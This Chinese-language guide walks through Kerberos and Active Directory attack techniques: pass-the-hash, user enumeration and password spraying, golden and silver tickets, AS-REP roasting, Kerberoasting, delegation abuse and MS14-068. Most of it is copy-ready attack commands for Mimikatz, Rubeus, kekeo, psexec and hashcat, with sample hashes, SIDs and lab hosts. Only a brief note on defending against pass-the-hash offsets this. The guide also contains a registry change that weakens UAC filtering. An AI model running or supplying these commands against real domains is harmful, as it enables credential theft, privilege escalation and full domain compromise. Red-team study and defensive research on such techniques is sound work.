Kerberos相关攻击技巧(较全)
字数 1738 2025-08-18 11:36:47

Kerberos攻击技术全面指南

目录

  1. AS-REQ阶段攻击
  2. AS-REP阶段攻击
  3. TGS-REP阶段攻击
  4. S4U攻击
  5. PAC相关攻击

AS-REQ阶段攻击

Hash传递攻击(PTH)

原理:通过捕获密码的hash值进行身份验证,无需解密hash获取明文密码。

限制

  • Windows 2003之后有UAC限制
  • 默认只有SID 500和administrators组里的域账户能PTH
  • 域Domain admin默认在本地管理员组

绕过限制

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

常用攻击方法

  1. Mimikatz交互式获取:
privilege::debug
sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359381d5cc84c
  1. psexec:
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
  1. wmiexec:
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3

批量PTH攻击
使用CrackMapExec工具

域外用户枚举

原理:利用AS_REQ阶段工作原理枚举域内账号。

工具

  1. kerbrute:
kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt
kerbrute_windows_amd64.exe passwordspray -d hacke.testlab user.txt QWE123!@#
  1. pyKerbrute:
python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp

密码喷洒攻击

工具:DomainPasswordSpray.ps1

使用示例

powershell.exe -exec bypass -Command "& {Import-Module DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password QWE123!@#}"

KB22871997补丁与PTH攻击

补丁影响

  1. 支持"ProtectedUsers"组
  2. Restricted Admin RDP模式支持
  3. 注销后删除LSASS中的凭据
  4. 添加两个新的SID
  5. LSASS中删除明文凭证

防御PTH

  1. 设置FilterAdministratorToken为1
  2. 监控LocalAccountTokenFilterPolicy注册表项
  3. 组策略中"拒绝从网络访问这台计算机"添加限制组

Pass the Hash with Remote Desktop

条件

  • Windows 8.1/Server 2012 R2默认支持
  • Windows 7/Server 2008 R2需安装补丁2871997、2973351

启用Restricted Admin mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

攻击方法

  1. 客户端命令行登录:
mstsc.exe /restrictedadmin
  1. 使用FreeRDP工具

AS-REP阶段攻击

黄金票据

利用条件

  1. krbtgt用户的hash
  2. 域名称
  3. 域的SID值
  4. 要伪造的用户名

攻击步骤

  1. 获取krbtgt hash:
lsadump::lsa /patch
  1. 制作黄金票据:
kerberos::golden /admin:Administrator /domain:hacke.testlab /sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:30c84f309c52d2d6d05561fc3f904647 /ticket:ticket.kirbi
  1. 注入票据:
kerberos::ptt ticket.kirbi

AS-REP Roasting攻击

条件:用户账号设置"不需要kerberos预身份验证"

攻击方法

  1. 使用Rubeus获取hash:
Rubeus.exe asreproast > log.txt
  1. 使用PowerView获取用户:
Get-DomainUser -PreauthNotRequired
  1. 使用Get-ASREPHash获取hash:
Get-ASREPHash -UserName test -Domain hacke.testlab | Out-File -Encoding ASCII hash.txt
  1. 破解hash:
hashcat -m 18200 hash.txt pass.txt --force

TGS-REP阶段攻击

SPN扫描

SPN格式serviceclass/host:port/servicename

查询方法

  1. 使用setspn:
setspn.exe -q */*
  1. 使用PowerView:
Get-NetUser -spn -AdminCount

Kerberoasting攻击

攻击步骤

  1. 请求指定TGS:
$SPNName = 'VNC/WIN7.hacke.testlab'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
  1. 导出票据:
kerberos::list /export
  1. 破解票据:
python kirbi2john.py *.kirbi > johnkirb.txt
hashcat -m 13100 hash.txt password.list -o found.txt --force

白银票据

利用条件

  1. 域名
  2. 域SID
  3. 目标服务器的FQDN
  4. 可利用的服务
  5. 服务账号的NTLM Hash
  6. 需要伪造的用户名

攻击示例

  1. 伪造CIFS服务:
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt
  1. 访问LDAP服务:
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:ldap /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt

S4U攻击

非约束委派攻击

信息搜集

  1. 使用PowerView:
Get-NetComputer -Unconstrained -Domain hacke.testlab
  1. 使用AdFind:
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

攻击方法

  1. 高权限机器主动访问:
sekurlsa::tickets /export
kerberos::ptt [0;8c20d]-2-0-60810000-Administrator@krbtgt-HACKE.TESTLAB.kirbi
  1. 使用打印机BUG:
Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$
SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0

约束委派攻击

信息搜集

  1. 使用PowerView:
Get-DomainUser -TrustedToAuth -Domain hacke.testlab
  1. 使用AdFind:
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

攻击方法

  1. 使用kekeo请求TGT:
tgt::ask /user:weipai /domain:hacke.testlab /password:QWE123!@# /ticket:test.kirbi
  1. 伪造s4u请求:
tgs::s4u /tgt:TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator@hacke.testlab /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab
  1. 注入票据:
kerberos::ptt TGS_Administrator@hacke.testlab@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi

基于资源的约束委派攻击

攻击步骤

  1. 创建机器账户:
New-MachineAccount -MachineAccount 0xxk -Password $(ConvertTo-SecureString "QWE123!@#" -AsPlainText -Force)
  1. 设置资源约束委派:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3502871099-3777307143-1257297015-1610)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN8 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
  1. 发起攻击:
Rubeus.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D142B0359381D5CC84C /impersonateuser:administrator /msdsspn:cifs/WIN8.hacke.testlab /ptt

PAC相关攻击

PAC与Kerberos的关系

PAC作用:向Server端表明Client的权限,包含Client的SID、Group的SID。

MS14-068漏洞利用

利用条件

  • 小于2012R2的域控没有打KB3011780
  • 域账户使用时需要清除票据

攻击步骤

  1. 生成票据:
MS14-068.exe -u test@hacke.top.com -s S-1-5-21-662684005-512120196-2632585872-1105 -d 192.168.60.55 -p QWE123!@#
  1. 注入票据:
kerberos::ptc TGT_test@hacke.top.com.ccache
  1. 访问域控:
dir \\WIN-1CO4ES74OQM\C$
Kerberos攻击技术全面指南 目录 AS-REQ阶段攻击 Hash传递攻击(PTH) 域外用户枚举 密码喷洒攻击 KB22871997补丁与PTH攻击 Pass the Hash with Remote Desktop AS-REP阶段攻击 黄金票据 AS-REP Roasting攻击 TGS-REP阶段攻击 SPN扫描 Kerberoasting攻击 白银票据 S4U攻击 非约束委派攻击 约束委派攻击 基于资源的约束委派攻击 PAC相关攻击 PAC与Kerberos的关系 MS14-068漏洞利用 AS-REQ阶段攻击 Hash传递攻击(PTH) 原理 :通过捕获密码的hash值进行身份验证,无需解密hash获取明文密码。 限制 : Windows 2003之后有UAC限制 默认只有SID 500和administrators组里的域账户能PTH 域Domain admin默认在本地管理员组 绕过限制 : 常用攻击方法 : Mimikatz交互式获取: psexec: wmiexec: 批量PTH攻击 : 使用CrackMapExec工具 域外用户枚举 原理 :利用AS_ REQ阶段工作原理枚举域内账号。 工具 : kerbrute: pyKerbrute: 密码喷洒攻击 工具 :DomainPasswordSpray.ps1 使用示例 : KB22871997补丁与PTH攻击 补丁影响 : 支持"ProtectedUsers"组 Restricted Admin RDP模式支持 注销后删除LSASS中的凭据 添加两个新的SID LSASS中删除明文凭证 防御PTH : 设置FilterAdministratorToken为1 监控LocalAccountTokenFilterPolicy注册表项 组策略中"拒绝从网络访问这台计算机"添加限制组 Pass the Hash with Remote Desktop 条件 : Windows 8.1/Server 2012 R2默认支持 Windows 7/Server 2008 R2需安装补丁2871997、2973351 启用Restricted Admin mode : 攻击方法 : 客户端命令行登录: 使用FreeRDP工具 AS-REP阶段攻击 黄金票据 利用条件 : krbtgt用户的hash 域名称 域的SID值 要伪造的用户名 攻击步骤 : 获取krbtgt hash: 制作黄金票据: 注入票据: AS-REP Roasting攻击 条件 :用户账号设置"不需要kerberos预身份验证" 攻击方法 : 使用Rubeus获取hash: 使用PowerView获取用户: 使用Get-ASREPHash获取hash: 破解hash: TGS-REP阶段攻击 SPN扫描 SPN格式 : serviceclass/host:port/servicename 查询方法 : 使用setspn: 使用PowerView: Kerberoasting攻击 攻击步骤 : 请求指定TGS: 导出票据: 破解票据: 白银票据 利用条件 : 域名 域SID 目标服务器的FQDN 可利用的服务 服务账号的NTLM Hash 需要伪造的用户名 攻击示例 : 伪造CIFS服务: 访问LDAP服务: S4U攻击 非约束委派攻击 信息搜集 : 使用PowerView: 使用AdFind: 攻击方法 : 高权限机器主动访问: 使用打印机BUG: 约束委派攻击 信息搜集 : 使用PowerView: 使用AdFind: 攻击方法 : 使用kekeo请求TGT: 伪造s4u请求: 注入票据: 基于资源的约束委派攻击 攻击步骤 : 创建机器账户: 设置资源约束委派: 发起攻击: PAC相关攻击 PAC与Kerberos的关系 PAC作用 :向Server端表明Client的权限,包含Client的SID、Group的SID。 MS14-068漏洞利用 利用条件 : 小于2012R2的域控没有打KB3011780 域账户使用时需要清除票据 攻击步骤 : 生成票据: 注入票据: 访问域控: